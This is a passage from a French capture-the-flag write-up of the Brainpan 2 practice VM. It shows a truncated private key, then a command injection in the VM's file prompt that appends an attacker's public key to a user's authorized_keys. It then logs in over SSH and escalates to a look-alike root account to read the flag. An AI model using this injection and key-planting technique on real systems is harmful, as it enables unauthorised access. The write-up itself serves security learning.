t0IQYCtZKiLPacj2ECjITztRO8hwCoW0WVhO2p3BwY5De+LmncPSRZavPYWs7QWK
T8ITH/2a3N6AvjxnMBLPXsgmeJCS64XPBBndkWbeKwl/FS5OCWZ180CBi8fgeMmP
QDO1tbiHUbOfL5E+yYCprslyZ94vf/oE1Fb37UvcZ/5avJIpQBs7PPQQugbX3TpG
M/L/LwC0Mk80CevDwSYfDgMupHZ2HDkVxLSw56NNwUS2WCOmSnK48q7xYHt7VjfR
h70jSTd7a/abnWbbJQEq47JIvuL4ScdQezE+r3LvpYFVaYBjsUWmf7kskMs1jyj3
-----END RSA PRIVATE KEY-----
Malheureusement la clé privée est protégée par une passphrase, impossible de l’utiliser.
Solution : on envoie nos clés publiques / privées sur le serveur puis on exploite VIEW
pour ajouter la clé publique dans les clés autorisées de puck
:
1
2
>> VIEW
ENTER FILE TO DOWNLOAD: /dev/null;cat /tmp/id_rsa.pub >> /home/puck/.ssh/authorized_keys
On se connecte au serveur SSH local (notez que l’adresse sur laquelle écoute le serveur SSH est une autre blague) :
1
2
3
4
5
6
root # ssh puck@127.0.1.1 -p 2222 -i /tmp/id_rsa
Enter passphrase for key '/tmp/id_rsa':
Linux brainpan2 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686
puck@brainpan2:~$ id
uid=1001(puck) gid=1001(puck) groups=1001(puck),50(staff)
That’s all folks !
C’est bien on a maintenant les droits de puck
… So what ? Il a un dossier caché .backup
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
./.backup:
total 28
drwxr-xr-x 3 puck puck 4096 Nov 5 09:44 .
drwx------ 4 puck puck 4096 Nov 5 09:45 ..
-rw------- 1 puck puck 395 Nov 5 09:43 .bash_history
-rw-r--r-- 1 puck puck 220 Nov 4 14:18 .bash_logout
-rw-r--r-- 1 puck puck 3392 Nov 4 14:18 .bashrc
-rw-r--r-- 1 puck puck 675 Nov 4 14:18 .profile
drwx------ 2 puck puck 4096 Nov 4 14:15 .ssh
./.backup/.ssh:
total 16
drwx------ 2 puck puck 4096 Nov 4 14:15 .
drwxr-xr-x 3 puck puck 4096 Nov 5 09:44 ..
-rw------- 1 puck puck 1675 Nov 4 14:15 id_rsa
-rw-r--r-- 1 puck puck 396 Nov 4 14:15 id_rsa.pub
Et dans l’historique sauvegardé :
1
2
3
4
ssh -l "root " brainpan2
(...)
mkdir .backup
mv .ssh .bash* .backup
Utilisons donc cette fameuse clé de backup :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
puck@brainpan2:~$ ssh -l "root " 127.0.1.1 -p 2222 -i .backup/.ssh/id_rsa
Linux brainpan2 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686
root @brainpan2:~# id
uid=0(root ) gid=0(root ) groups=0(root )
root @brainpan2:~# cat /root/flag.txt
!!! CONGRATULATIONS !!!
You've completed the Brainpan 2 challenge!
Or have you...?
Yes, you have! Pat yourself on the back. :-)
Questions, comments, suggestions for new VM
challenges? Let me know!
Twitter: @superkojiman
Email : contact@techorganic.com
Web : http://www.techorganic.com
Finalement terminé ! Heureusement je ne suis pas cardiaque.
Published March 13 2014 at 12:25